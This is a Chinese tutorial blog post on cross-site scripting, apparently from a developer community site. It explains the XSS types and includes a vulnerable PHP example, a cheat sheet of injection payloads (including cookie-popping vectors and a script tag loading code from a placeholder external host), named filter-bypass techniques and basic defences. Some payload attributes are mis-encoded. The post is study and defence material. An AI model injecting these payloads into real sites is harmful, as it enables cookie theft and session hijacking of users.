web漏洞之XSS

漏洞描述

  • XSS (跨站脚本攻击)主要基于javascript (JS) 完成恶意的攻击行为。JS可以非常灵活的操作html、css和浏览器,这使得XSS攻击的“想象”空间特别大。
  • XSS通过将精心构造的代码(JS) 代码注入到网页中,并由浏览器解释运行这段JS代码,以达到恶意攻击的效果。当用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来。用户浏览器就会解析这段XSS代码,也就是说用户被攻击了。用户最简单的动作就是使用浏览器上网,并且浏览器中有javascript解释器,可以解析j avascript,然而浏览器不会判断代码是否恶意。也就是说,XSS的对象是用户和浏览器。

漏洞成因

  • 在HTML中常用到字符实体,将常用到的字符实体没有进行转译,导致完整的标签出现,在可输入的文本框等某些区域内输入特定的某些标签导致代码被恶意篡改。

漏洞危害

  • 获取用户Cookie登陆服务器。

  • 记录键盘输入。

  • XSS蠕虫

  • 网页挂马

  • 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDOS攻击的效果。

  • 获取客户端信息,如用户的浏览历史、真实ip、开放端口等;

  • 控制受害者机器向其他网站发起攻击;

  • 利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。(不会这个操作,自己没有见过)

  • 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的操作如发微博、加好友、发私信等操作。

  • 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。

  • 攻击者通过CSRF等方式以用户身份执行危险操作

漏洞挖掘

常见场景

重灾区

  • 评论区、留言区、个人信息、订单信息等

针对型

  • 站内信、网页即时通讯、私信、意见反馈

存在风险

  • 搜索框、当前目录、图片属性等

XSS分类

反射型XSS

  • 定义
    反射型XSS是比较常见和广泛的一类,举例来说,当一个网站的代码中包含类似下面的语句:
<?php echo "<p>hello, $_GET['user']</p>";?>

那么在访问时设置

/?user=</p><script>alert("hack")</script><p>

则可执行预设好的JavaScript代码。

  • 特点
    非持久性
    通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发
    通常在URL中构造,将恶意链接发送给目标用户,当用户访问该链接时候,会向服务器发起一个GET请求来提交带有恶意代码的链接
    造成反射型XSS ,主要是GET类型且受到XSS Auditor、NoScript等防御手段的影响较大。

存储型XSS

  • 定义
    攻击者事先将恶意JavaScript代码上传或存储漏洞服务器中,把攻击载荷存入服务器中,造成持久化的攻击。只要受害者浏览包括含此恶意的代码的页面就会执行恶意代码。常见的就是在博客留言板、反馈投诉、论坛评论、将恶意代码和正文都存入服务器的数据库。

  • 特点
    持久性
    每次访问都会触发恶意代码
    储存型XSS相比反射型来说危害较大,此类xss不需要用户点击特定的url就能执行跨站脚本

DOM型XSS

  • 定义

DOM型XSS不同之处在于DOM型XSS一般和服务器的解析响应没有直接关系,而是在JavaScript脚本动态执行的过程中产生的。不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。

  • 特点
    DOM型是特殊的反射型XSS
    在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。

  • 可能触发DOM型xss的属性

document.referer
window.name
location
innerHTML
documen.write

payload

script

<script>alert("hack")</script>   #弹出hack
<script>alert(/hack/)</script>   #弹出hack
<script>alert(1)</script>        #弹出1,对于数字可以不用引号
<script>alert(document.cookie)</script>      #弹出cookie
<script src=http://xxx.com/xss.js></script>  #引用外部的xss

svg

<svg onload=alert(1)>
<svg οnlοad=alert(1)//

img

<img src="#" οnerrοr=alert("hack")>
<img src="#" onerror=alert(document.cookie)>  #弹出cookie
<img src="./hack.jpg" onmouseover="alert(/XSS/)">

body

<body onload=alert(1)><body onpageshow=alert(1)>

video

<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4"/>

style

<style οnlοad=alert(1)></style>

input

<input type="text" onkeydown="alert(/XSS/)">
<input type="text" onkeyup="alert(/XSS/)">
<input type="button" onclick="alert(/XSS/)">

javascript

<a href="javascript:alert(/XSS/)">touch me </a>
<img src="javascript:alert(/XSS/)">

漏洞利用

待补充

防御绕过

  • 双写绕过
  • 大小写绕过
  • 编码绕过

漏洞防御

使用XSS Filter

  • XSS Filter 的作用是过滤用户(客户端)提交的有害信息,从而达到防范XSS攻击的效果。

输入过滤

  • "永远不要相信用户的输入”是网站开发的基本常识,对于用户输入-定要过滤,过滤,再过滤。

输入验证

  • 输入验证就是对用户提交的信息进行有效验证,仅接受指定长度范围内的,采用适当格式的内容提交,阻止或者忽略除此之外的其他任何数据。
    输入是否仅包含合法的字符
    输入字符串是否超过最大长度限制
    输入如果为数字,数字是否在指定的范围
    输入是否符合特殊的格式要求,如E mail地址、IP地址等。

数据消毒

输出编码

  • HTML编码主要是用对应的HTML实体代替字符

黑白名单

避免客户端文档重写,重定向及其他敏感操作(DOM型)

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
一、什么是XSS攻击 XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。 二、XSS漏洞的危害 (1)网络钓鱼,包括盗取各类用户账号; (2)窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作; (3)劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等; (4)强制弹出广告页面、刷流量等; (5)网页挂马; (6)进行恶意操作,例如任意篡改页面信息、删除文章等; (7)进行大量的客户端攻击,如DDoS攻击; (8)获取客户端信息,例如用户的浏览历史、真实IP、开放端口等; (9)控制受害者机器向其他网站发起攻击; (10)结合其他漏洞,如CSRF漏洞,实施进一步作恶; (11)提升用户权限,包括进一步渗透网站; (12)传播跨站脚本蠕虫等; 三、过滤器配置 web.xml配置 XssFilter com.xxx.Filter.XssFilter XssFilter /*

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值